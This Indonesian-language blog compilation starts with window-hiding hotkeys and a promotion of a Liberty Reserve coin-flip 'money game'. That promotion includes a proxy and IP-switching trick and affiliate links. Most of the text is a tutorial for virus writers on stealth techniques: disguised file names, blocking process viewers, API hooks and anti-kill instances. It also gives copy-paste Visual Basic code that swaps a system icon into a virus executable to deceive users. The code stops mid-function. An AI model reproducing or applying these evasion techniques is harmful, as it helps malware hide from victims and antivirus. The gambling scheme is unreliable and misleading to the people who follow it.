CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Kalo cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhai Tuhan
Kalo ketahuan langsung pertebal "muka bego"-mu. Misalnya bilang "Eh, kok jadi gini ya? Kemaren ga gini kok." Ato kata-kata lain, tergantung kreatifitas anda.

"Penulis tidak bertanggung jawab atas kerugian yang ditimbulkan atas penggunaan artikel ini!!!!!!!!!!"

Game Penghasil Uang !!!!!!!!!

Tahukah anda Money Game?
Ada banyak sekali money game yang menawarkan keunggulan masing2 betnya, bahkan ada yang sampe win 500%, apa gak rugi ya? Jawabannya TIDAK. Mereka mencurangi kita dalam berbagai hal. CONTOH: Anda pertama kali bet $1 dan hasilnya MENANG , Tapi bet yang kedua dan seterusnya anda 80% KALAH. Kenapa? BEGITULAH manusia,pingin dapet duit dari internet tapi dengan menipu. Nah… untuk mensiasati penipuan dari para Webmaster LibertyReserve Game, saya punya TRIK JITU bikin LibertyReserve Game Bangkrut. ( Tapi saya gak bertanggung jawab yach…) Mengapa saya anjurkan LibertyReserve game?
Sebab di LibertyReserve game Anda tidak akan menunggu janji-janji kosong akan profit yang melimpah.
Di LibertyReserve game bila Anda menang, profit langsung ditangan dalam hitungan detik! Langsung masuk ke rekening LibertyReserve, langsung bisa dinikmati hasilnya! Mengapa harus LibertyReserve Game? Kenapa tidak HYIP?
Perlu Anda ketahui bahwa 99% HYIP adalah SCAM (penipuan) berkedok investasi. Dan setelah uang investor terkumpul banyak, dia lari dengan tertawa lebar sambil menikmati uang para korbannya.
Bunga yang ditawarkan sangat bervariasi, dan tentunya sangat menggiurkan! Jangan terpancing!
Bisa saya pastikan Anda tidak akan mendapatkan profit seperti yang dijanjikan, malah akan kehilangan uang investasi Anda! Stay away from HYIP SCAMMER! Untuk mengikuti program MONEY GAME pada website ini, anda membutuhkan LibertyReserve sebagai alat pembayaran anda. Tanpa LibertyReserve anda tidak dapat mengikuti program ini. Apa itu LibertyReserve ?? LibertyReserve, Ltd adalah suatu perusahaan finansial ternama di dunia yang berpusat di Amerika, yang mengkhususkan dirinya pada transaksi internet. Bisa dikatakan bahwa secara de-facto LibertyReserve adalah mata uang internet. Transaksi dengan menggunakan kartu kredit sangat rawan terhadap pembobolan kartu kredit. Karena itu, LibertyReserve menawarkan solusi pembayaran di internet yang relatif lebih aman.Cara kerja LibertyReserve persis seperti bank – bank tradisional pada umumnya. LibertyReserve menerima deposit dari para nasabahnya, dimana nasabahnya dapat bertransaksi transfer keluar ataupun masuk melalui LibertyReserve. Persis seperti bank tradisional pada umumnya. Lalu bagaimana cara mendapatkan account LibertyReserve ??? Mudah sekali, cukup hanya dengan mengisikan aplikasi pendaftaran secara gratis pada website LibertyReserve, anda sudah dapat mendapatkan account LibertyReserve secara gratis.
Account LibertyReserve anda baru berguna apabila anda memiliki uang di dalamnya. Sama seperti account anda di bank tradisional. Apabila tidak memiliki dana, jangan harap dapat transfer ke luar, walaupun hanya $0,1. Untuk membeli LibertyReserve anda dapat mengunjungi www.bisnisheru.com
Ingat hanya Disini situsnya, Saya udah nyobain banyaaaak sekali situs money game, tapi hasilnya saya malah habis $230 lebih termakan oleh situs mereka. Bukannya menang tapi habis kepotong FEE. Coba aja Sendiri kalo gak percaya, anda bet di game lain, misal $0.05, meskipun menang dollar di LR anda bukan nambah tapi malah berkurang, ya apa enggak? Karena kepotong fee.
OKE Kalau udah gak sabar, berikut triknya: Anda berkasempatan main disitus ini cuma sekali.Ya sekali dalam sehari. Tapi gak papa bisa disiasati dengan pindah komputer.Karena Situs ini mendeteksi IP anda. Jika anda main lebih dari satu kali dalam satu IP, maka bet anda pasti akan kalah. Berikut pengalaman main saya dalam satu komputer (di warnet) 1. Buat account LibertyReserve.
2. Isi account LibertyReserve Anda dengan dollar, caranya bisa beli di goldmediator.com, paling tidak $10 untuk jaga-jaga kalo kalah.
3. Gunakan sebagian uang untuk bermain di website LibertyReserve game yang ini:
www.bettergold4you.com << daftar disini
Bet pertama:
a. Pilih gambar head atau tail (klik pada bulatan dibawah gambar coin). Untuk bet / taruhan pertama dan kedua bebas memilih head atau tail.
b. Untuk pertama kali bet, gunakan pilihan amount yang terkecil yaitu $1, karena dapat dipastikan kalah. Kenapa pasti kalah? Saya tidak tau apa sebabnya soalnya tiap kali saya nyoba pasti kalah.
c. Klik play Now, lalu kamu akan dialihkan ke halaman pembayaran menggunakan LibertyReserve
d. Masukkan nomor LibertyReserve kamu, passwordnya dan turing number. Lalu klik tombol dibawahnya dan ikuti petunjuk berikutnya. Setelah pembayaran selesai, kamu akan dialihkan ke halaman result, disini kamu bisa tau menang apa kalah.
Bet kedua:
Ulangi langkah-langkah diatas, pilih head atau tail terserah, isi amount bet terkecil juga yaitu $1. Pada bet kedua ini dimungkinkan kalah lagi. Kenapa? Saya tidak tau pasti, soalnya saya bet kalah terus.
Bet ketiga:
a. Ulangi langkah diatas, tapi ganti pilihan betnya, jika pada bet pertama dan kedua bebas pilih apa, nah…yang ketiga harus pilih “HEAD”! Kenapa harus head? Ya! yang pasti head 99,99% bakal menang, saya nyoba pilih tail kalah terus.
b. Pilih amount bet semampunya dan sebanyak-banyaknya. Tapi saya sarankan jangan lebih dari $20.
c. Klik play now, bayar dengan LibertyReserve, kemenangan akan ditransfer ke rekening LibertyReserve kita kurang dari 5 detik otomatis.
Bet keempat:
Jangan teruskan sampai bet keempat, karena 99,99% akan kalah!
Jangan serakah! jika sudah menang di bet ketiga jangan bermain lagi. Segera tutup windows dan tinggalkan permainan. Kamu bisa gunakan uangnya lagi untuk bermain besok atau nanti dengan komputer berbeda.
Jika kamu pakai speedy dynamic IP, itu lebih bagus karena IP komputer kamu bisa berubah-ubah setiap komputer direstart.
Bisa juga pakai PROXY, jadi IP komputer bisa berubah setiap ganti proxy. Cari proxy di samair.ru dan setting di browser kamu.
Coba bayangkan misal pada bet ketiga anda bet $10 X 500% = $50 ( yach..paling kena fee $0.3-$0.5)Uang akan ditransfer ke LibertyReserve anda kurang dari 5 detik. Kalau anda sehari bet 10X dalam komputer atau IP yang berbeda? Bisa anda hitung sendiri : Saya yakin Anda sudah bosan dengan itung-itungan seperti ini ) Lihat dengan teliti historypermainan saya:
(Hanya history MASUK saja)
KLIK UNTUK MEMPERBESAR
LibertyReserve History PALING BARU 25 Mei 2009 lr-history3
kalau sudah menang, bisa dijual ke www.bisnisheru.com

Implementasi Teknik Stealth Pada Virus

Penulis tidak bertanggung jawab atas kerugian yang ditimbulkan atas penggunaan artikel ini (Use at Your Own Risk).
$> Start...
Mungkin sebagian (Atau seluruhnya) Vx3r (Pembuat Virus) pasti menemukan
suatu permasalahan dalam membuat Virusnya agar susah dihapus atau
meminimalisir pendeteksian oleh User ataupun Anti Virus.
Bagaimana sih cara-cara Vx3r itu menyembunyikan Virusnya di komputer
korban? Ada beberapa cara yang klasik dan sangat sering dilakukan, Seperti:
1. Merubah nama File Virus menjadi (mirip) File system Windows, contoh
RunDll32.exe, Winsys32.exe,dll
2. Menempatkan File Virus di Folder Hidden atau di Folder System Windows.
3. Menghalangi Akses ke Task Manager maupun Tool-tool yang dapat
menampilkan proses yang sedang berlangsung. Hal ini lumrah karena virus
ingin eksistensinya dipertahankan.
4. Menggunakan nama file yang random atau acak.
5. Menggunakan Ikon yang umum seperti MS-Word, Folder, Setup program, dll.
6. Memblok fasilitas Search.
7. Dan lainnya.
Lalu apa saja kelemahannya? Untuk penggunaan Ikon yang umum hal ini sangat
fatal, karena User dapat membedakan antara ikon Default File *.Exe dengan ikon
yang dipakai oleh Virus. Sebagai contoh apabila si Virus memakai Ikon MSWord
maka akan terjadi suatu kejanggalan, "Ikonnya Word kok ekstensinya
Exe?".
58
Contoh lagi kasus penggunaan nama file random atau acak. Pada hal ini
diperlukan suatu penyimpanan dari nama file acak itu, karena pada Trigger
Virus jalan dia akan mencari file yang dimaksud. Pemyimpanan nya pun berupa
file ataupun key di registry. Kedua teknik penyimpanan tersebut sama baiknya
apabila dilengkapi oleh teknik Enkripsi. Pada suatu Virus yang pernah saya
temukan dan analisa, Kangen.E telah menggunakan nama acak dan
penyimpanan di suatu file *.sys. Dan file tersebut dibiarkan apa adanya tanpa
perlindungan apapun terhadap isinya. Hal ini memudahkan dalam melacak
nama trigger virus tsb.
Sebenarnya langkah apa yang harus diambil agar virus kita tak mudah terlacak
oleh User? Menurut pandangan saya ada beberapa poin yang sangat penting:
1. Lakukan teknik penggantian Ikon secara langsung (Ekstrak dan ganti), bukan
mengandalkan ikon default.
2. Penggantian Filetime maupun FileDate dan ukuran pada file Virus agar tidak
mudah ditemukan dengan Search.
3. Gunakan API-Hook dalam melacak tool Proses Viewer, jangan mengandalkan
windows Caption karena sudah banyak tool yang tidak memakai window
caption lagi.
4. Jika memungkinkan jangan me-launch instan virus dengan cara "shell", karena
hal ini dapat berakibat Proses Virus menjadi Parent and Child. Bila sang parent
mati maka si child pun akan ikut mati.
5. Selalu gunakan instan virus lain untuk saling melacak keberadaan virus (Anti-
Kill process) sehingga virus memungkinkan untuk tetap eksis.
$> How to...?
Saya menggunakan Bahasa Pemograman Visual Basic 6.0 dalam mencoba teknik
stealth (yang menurut saya) agak baik Serta beberapa referensi Source Code
maupun artikel dari Internet.
Teknik ini juga saya coba pada Virus Diary.Exe (V 1.3-1.5) dengan beberapa
perubahan.
1. Penggantian ikon
Jika anda pernah menemukan suatu software pengekstrak atau pengganti ikon
(bahkan keduanya) suatu file, maka kurang lebih hal ini bisa juga
diimplementasikan di Virus :D. Contoh algoritmanya :
START EXECUTION
|
Copy myself.exe to destination path
|
59
Search file yang akan diekstrak ikonnya
|
Ekstrak ikonnya, save to destination path
|
Change myself.exe dengan file ikon (*.Ico)
yang sudah di ekstrak
|
Hapus File ikon apabila sudah tidak digunakan
|
END EXECUTION
Saya menggunakan file Shell32.Dll sebagai file yang akan diekstrak Ikonnya,
dalam hal ini saya akan memilih ikon Default file *.exe (yang berwarna kotak
putih-biru :P). Kira-kira begini source codenya :
(Diperlukan Objek PictureBox dalam Form)
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Sub cariikon(pathcari As String, pathekstrak As String, jenisikon As String, pic2 As
PictureBox)
Dim poin As Long
poin = 1
Dim i As Long
Dim buf(1000) As Double
Dim jum As Integer
jum = 0
Dim jikon As Long
jikon = 0
Dim init As String
init = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) &
Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0)
& Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
Dim strbaca As String
strbaca = Space(2238)
Dim fildat As String
Dim new_dic As String
Dim rs As String
rs = Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
Dim buff As Double
buff = 1024 ^ 2
Open pathcari For Binary As #1
If LOF(1) > buff Then
fildat = Space(buff)
Else
fildat = Space(LOF(1))
End If
balik:
If poin > LOF(1) Then
GoTo tulis
End If
Get #1, poin, fildat
i = 1
carilagi:
DoEvents
60
i = InStr(i + 1, fildat, "(" & rs)
If i > 0 Then
'lst.Add "#" & lst.Count & "#", i + poin - 1
buf(jum) = i + poin - 1
jum = jum + 1
End If
If i + Len(rs) > buff Or i = 0 Then
poin = poin + buff - Len("(" & rs) - 1
GoTo balik
Else
GoTo carilagi
End If
tulis:
Close
Open pathcari For Binary As #1
For poin = 0 To jum - 1
DoEvents
If Right(pathekstrak, 1) <> "\" Then
pathekstrak = pathekstrak & "\"
End If
If poin <> jenisikon Then GoTo lsg
Open pathekstrak & "Ikon.ico" For Output As #2: Close #2
Open pathekstrak & "Ikon.ico" For Binary As #2
'i = lst.Item("#" & poin & "#")
i = buf(poin)
Get #1, i, strbaca
Put #2, 1, init & strbaca & Chr$(255)
Close #2
If ikon(pathekstrak & "Ikon.ico", pic2) = 0 Then
Kill pathekstrak & "Ikon.ico"
End If
DoEvents
lsg: Next poin
Close #1
Close
End Sub
sub ikon(path As String, pic As PictureBox)
On Error GoTo ero
pic.Picture = LoadPicture(path)
ikon = 1
Exit Function
ero:
ikon = 0
Exit Function
End Function
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Prosedur cariikon akan mencari file yang akan diekstrak ikonnya berdasarkan
index ikon tersebut. Ikon yang akan dihasilkan masih berukuran 16X16, tetapi
hal itu sudah cukup untuk mengelabui User. Perlu diingat bahwa index ikon file
*.Exe dalam shell32.Dll untuk tiap versi Windows adalah berbeda. Terutama
untuk Windows 9x dan Windows 2k/2003/XP/NT.
Lalu bagaimana kita menukar atau change ikon virus kita dengan file ikon yang
sudah diekstrak tsb?
(Referensi Source Code dari Internet, Author :Naveed, neenojee@hotmail.com)
61
1st. Module:
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Option Explicit
Type DIB_HEADER
Size As Long
Width As Long
Height As Long
Planes As Integer
Bitcount As Integer
Reserved As Long
ImageSize As Long
End Type
Type ICON_DIR_ENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type
Type ICON_DIR
Reserved As Integer
Type As Integer
Count As Integer
End Type
Type DIB_BITS
Bits() As Byte
End Type
Public Enum Errors
FILE_CREATE_FAILED = 1000
FILE_READ_FAILED
INVALID_PE_SIGNATURE
INVALID_ICO
NO_RESOURCE_TREE
NO_ICON_BRANCH
CANT_HACK_HEADERS
End Enum
Public Function ReplaceIcons(Source As String, Dest As String) As Long
Dim IcoDir As ICON_DIR
Dim IcoDirEntry As ICON_DIR_ENTRY
Dim tBits As DIB_BITS
Dim Icons() As IconDescriptor
Dim lngRet As Long
Dim BytesRead As Long
Dim hSource As Long
Dim hDest As Long
Dim ResTree As Long
hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0)
If hSource >= 0 Then
If Valid_ICO(hSource) Then
SetFilePointer hSource, 0, 0, 0
ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0&
ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0&
SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0
ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte
ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0&
CloseHandle hSource
hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0,
ByVal 0)
If hDest >= 0 Then
If Valid_PE(hDest) Then
ResTree = GetResTreeOffset(hDest)
62
If ResTree > 308 Then ' Sanity check
lngRet = GetIconOffsets(hDest, ResTree, Icons)
SetFilePointer hDest, Icons(1).Offset, 0, 0
WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0&
Else
CloseHandle hDest
End If
Else
CloseHandle hDest
End If
CloseHandle hDest
Else
End If
Else
CloseHandle hSource
End If
Else
End If
ReplaceIcons = 0
Exit Function
End Function
Public Function Valid_ICO(hfile As Long) As Boolean
Dim tDir As ICON_DIR
Dim BytesRead As Long
If (hfile > 0) Then
ReadFile hfile, tDir, Len(tDir), BytesRead, ByVal 0&
If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then
Valid_ICO = True
Else
Valid_ICO = False
End If
Else
Valid_ICO = False
End If
End Function
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
2nd. Module
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Option Explicit
Public Type IMAGE_DOS_HEADER
Magic As Integer
cblp As Integer
cp As Integer
crlc As Integer
cparhdr As Integer
minalloc As Integer
maxalloc As Integer
ss As Integer
sp As Integer
csum As Integer
ip As Integer
cs As Integer
lfarlc As Integer
ovno As Integer
res(3) As Integer
oemid As Integer
oeminfo As Integer
res2(9) As Integer
lfanew As Long
End Type
Public Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
63
SizeOfOtionalHeader As Integer
Characteristics As Integer
End Type
Public Type IMAGE_DATA_DIRECTORY
DataRVA As Long
DataSize As Long
End Type
Public Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkVer As Byte
MinorLinkVer As Byte
CodeSize As Long
InitDataSize As Long
unInitDataSize As Long
EntryPoint As Long
CodeBase As Long
DataBase As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOSVer As Integer
MinorOSVer As Integer
MajorImageVer As Integer
MinorImageVer As Integer
MajorSSVer As Integer
MinorSSVer As Integer
Win32Ver As Long
ImageSize As Long
HeaderSize As Long
Checksum As Long
Subsystem As Integer
DLLChars As Integer
StackRes As Long
StackCommit As Long
HeapReserve As Long
HeapCommit As Long
LoaderFlags As Long
RVAsAndSizes As Long
DataEntries(15) As IMAGE_DATA_DIRECTORY
End Type
Public Type IMAGE_SECTION_HEADER
SectionName(7) As Byte
Address As Long
VirtualAddress As Long
SizeOfData As Long
PData As Long
PReloc As Long
PLineNums As Long
RelocCount As Integer
LineCount As Integer
Characteristics As Long
End Type
Type IMAGE_RESOURCE_DIR
Characteristics As Long
TimeStamp As Long
MajorVersion As Integer
MinorVersion As Integer
NamedEntries As Integer
IDEntries As Integer
End Type
Type RESOURCE_DIR_ENTRY
Name As Long
Offset As Long
End Type
Type RESOURCE_DATA_ENTRY
64
Offset As Long
Size As Long
CodePage As Long
Reserved As Long
End Type
Public Type IconDescriptor
ID As Long
Offset As Long
Size As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any,
Source As Any, ByVal Length As Long)
Public Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName
As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes
As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal
hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any,
ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As
Long
Public Declare Function WriteFile Lib "kernel32" (ByVal hfile As Long, lpBuffer As Any,
ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any)
As Long
Public Declare Function SetFilePointer Lib "kernel32" (ByVal hfile As Long, ByVal
lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As
Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private SectionAlignment As Long
Private FileAlignment As Long
Private ResSectionRVA As Long
Private ResSectionOffset As Long
Public Function Valid_PE(hfile As Long) As Boolean
Dim Buffer(12) As Byte
Dim lngBytesRead As Long
Dim tDosHeader As IMAGE_DOS_HEADER
If (hfile > 0) Then
ReadFile hfile, tDosHeader, ByVal Len(tDosHeader), lngBytesRead, ByVal 0&
CopyMemory Buffer(0), tDosHeader.Magic, 2
If (Chr(Buffer(0)) & Chr(Buffer(1)) = "MZ") Then
SetFilePointer hfile, tDosHeader.lfanew, 0, 0
ReadFile hfile, Buffer(0), 4, lngBytesRead, ByVal 0&
If (Chr(Buffer(0)) = "P") And (Chr(Buffer(1)) = "E") And (Buffer(2) = 0) And
(Buffer(3) = 0) Then
Valid_PE = True
Exit Function
End If
End If
End If
Valid_PE = False
End Function
Public Function GetResTreeOffset(hfile As Long) As Long
On Error GoTo ErrHandler:
Dim tDos As IMAGE_DOS_HEADER
Dim tFile As IMAGE_FILE_HEADER
Dim tOptional As IMAGE_OPTIONAL_HEADER
Dim tSections() As IMAGE_SECTION_HEADER
Dim BytesRead As Long
Dim intC As Integer
Dim TreeFound As Boolean
TreeFound = False
If (hfile > 0) Then
SetFilePointer hfile, 0, 0, 0
' Get the offset of the Image File Header
65
ReadFile hfile, tDos, Len(tDos), BytesRead, ByVal 0&
SetFilePointer hfile, ByVal tDos.lfanew + 4, 0, 0
' Get the Image File Header and the Image Optional Header
ReadFile hfile, tFile, Len(tFile), BytesRead, ByVal 0&
ReadFile hfile, tOptional, Len(tOptional), BytesRead, ByVal 0&
' Get section headers
ReDim tSections(tFile.NumberOfSections - 1) As IMAGE_SECTION_HEADER
ReadFile hfile, tSections(0), Len(tSections(0)) * tFile.NumberOfSections,
BytesRead, ByVal 0&
' Make sure there is a resource tree in this file
If (tOptional.DataEntries(2).DataSize) Then
' Save section alignment and file alignment of image
SectionAlignment = tOptional.SectionAlignment
FileAlignment = tOptional.FileAlignment
' Determine which section contains the resource tree
For intC = 0 To UBound(tSections)
If (tSections(intC).VirtualAddress <= tOptional.DataEntries(2).DataRVA) _
And ((tSections(intC).VirtualAddress + tSections(intC).SizeOfData) >
tOptional.DataEntries(2).DataRVA) Then
TreeFound = True
' Save RVA and offset of resource section for future calculations
ResSectionRVA = tSections(intC).VirtualAddress
ResSectionOffset = tSections(intC).PData
' Calculate the physical file offset of the resouce tree
GetResTreeOffset = tSections(intC).PData +
(tOptional.DataEntries(2).DataRVA - tSections(intC).VirtualAddress)
Exit For
End If
Next intC
If Not TreeFound Then
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Else
GetResTreeOffset = -1
End If
Exit Function
ErrHandler:
End Function
Public Function GetIconOffsets(hfile As Long, TreeOffset As Long, Icons() As
IconDescriptor) As Long
On Error GoTo ErrHandler:
Dim Root As IMAGE_RESOURCE_DIR ' Root node of resource tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' 1st level of directory entries
Dim L2Root() As IMAGE_RESOURCE_DIR ' Level 2 resource directories
Dim L2Entries() As RESOURCE_DIR_ENTRY ' 2nd level of directory entries
Dim L3Root() As IMAGE_RESOURCE_DIR ' Level 3 resource directories
Dim L3Entries() As RESOURCE_DIR_ENTRY ' 3rd level of directory entries
Dim DataEntries() As RESOURCE_DATA_ENTRY ' Resource data entries
Dim DIB As DIB_HEADER ' Descriptor for icon images
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim Cursor As Long ' Temp val for setting file pointer
Dim BytesRead As Long ' For ReadFile()
Dim Count As Integer ' Number of icons found
If (hfile > 0) Then
Count = 0
SetFilePointer hfile, ByVal TreeOffset, 0, 0
' Get the root node and begin navigating the resource tree
ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0
ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
' Get first level child nodes
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
66
SetFilePointer hfile, TreeOffset + 8 + (iLvl1 * 8), 0, 0
ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = 3 Then
' Jump to level 2 and get directory
' Strip high-order byte from offset
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, ByVal Cursor, 0, 0
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As
IMAGE_RESOURCE_DIR
ReDim L2Entries(L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries) As
RESOURCE_DIR_ENTRY
For iLvl2 = 1 To (L2Root(iLvl1).IDEntries + L2Root(iLvl1).NamedEntries)
' Read second level child nodes
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
' Jump to level 3 and get directory
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, ByVal Cursor, 0, 0
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As
RESOURCE_DIR_ENTRY
ReDim DataEntries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As
RESOURCE_DATA_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + TreeOffset
SetFilePointer hfile, (Cursor + 8 + (iLvl3 * 8)), 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to IMAGE_DATA_ENTRY and get RVA of IconDir structure
SetFilePointer hfile, TreeOffset + (L3Entries(iLvl3).Offset), 0, 0
ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Convert RVA of IconDir structure to file offset and store
Count = Count + 1
ReDim Preserve Icons(Count) As IconDescriptor
Icons(Count).Offset = RVA_to_Offset(DataEntries(iLvl3).Offset)
' Store ID of icon resource
Icons(Count).ID = L2Entries(iLvl2).Name
' Store Size of icon resource
SetFilePointer hfile, Icons(Count).Offset, 0, 0
ReadFile hfile, DIB, ByVal Len(DIB), BytesRead, ByVal 0&
Icons(Count).Size = DIB.ImageSize + 40
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
Count = 0
End If
' Return the number of icons found
GetIconOffsets = Count
Exit Function
ErrHandler:
End Function
Public Function HackDirectories(hfile As Long, ResTree As Long, DIBOffset As Long, _
DIBAttrib As ICON_DIR_ENTRY) As Boolean
On Error GoTo ErrHandler:
Dim Cursor As Long ' File pointer position
Dim Root As IMAGE_RESOURCE_DIR ' Root node of res tree
Dim L1Entries() As RESOURCE_DIR_ENTRY ' First-level child nodes
Dim L2Root() As IMAGE_RESOURCE_DIR ' Second-level root nodes
Dim L2Entries() As RESOURCE_DIR_ENTRY ' Second-level child nodes
67
Dim L3Root() As IMAGE_RESOURCE_DIR ' Third-level root nodes
Dim L3Entries() As RESOURCE_DIR_ENTRY ' Third-level child nodes
Dim DataEntries() As RESOURCE_DATA_ENTRY ' IMAGE_RESOURCE_DATA_ENTRY structs
Dim IcoDir As ICON_DIR ' IconDirectory in EXE
Dim iLvl1 As Integer ' Loop Counter (first level)
Dim iLvl2 As Integer ' Loop Counter (second level)
Dim iLvl3 As Integer ' Loop Counter (third level)
Dim intC As Integer ' Loop Counter (general)
Dim BytesRead As Long ' Returned by Read/WriteFile API's
If (hfile >= 0) Then
' Convert DIBOffset to an RVA (needed for RESOURCE_DATA_ENTRY structures)
DIBOffset = Offset_to_RVA(DIBOffset)
SetFilePointer hfile, ByVal ResTree, 0, 0
ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0&
ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY
ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
' Loop through first-level child nodes and find RT_GROUP_ICON branch
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
SetFilePointer hfile, ResTree + 8 + (iLvl1 * 8), 0, 0
ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = &HE Then
' RT_GROUP_ICON branch found
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read second-level directory
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As
RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As
IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As
RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to RESOURCE_DATA_ENTRY
CopyMemory Cursor, L3Entries(iLvl3).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
ReDim Preserve DataEntries(iLvl3) As RESOURCE_DATA_ENTRY
ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Jump to and read ICON_DIR structure
Cursor = RVA_to_Offset(DataEntries(iLvl3).Offset)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, IcoDir, 6, BytesRead, ByVal 0&
For intC = 1 To IcoDir.Count
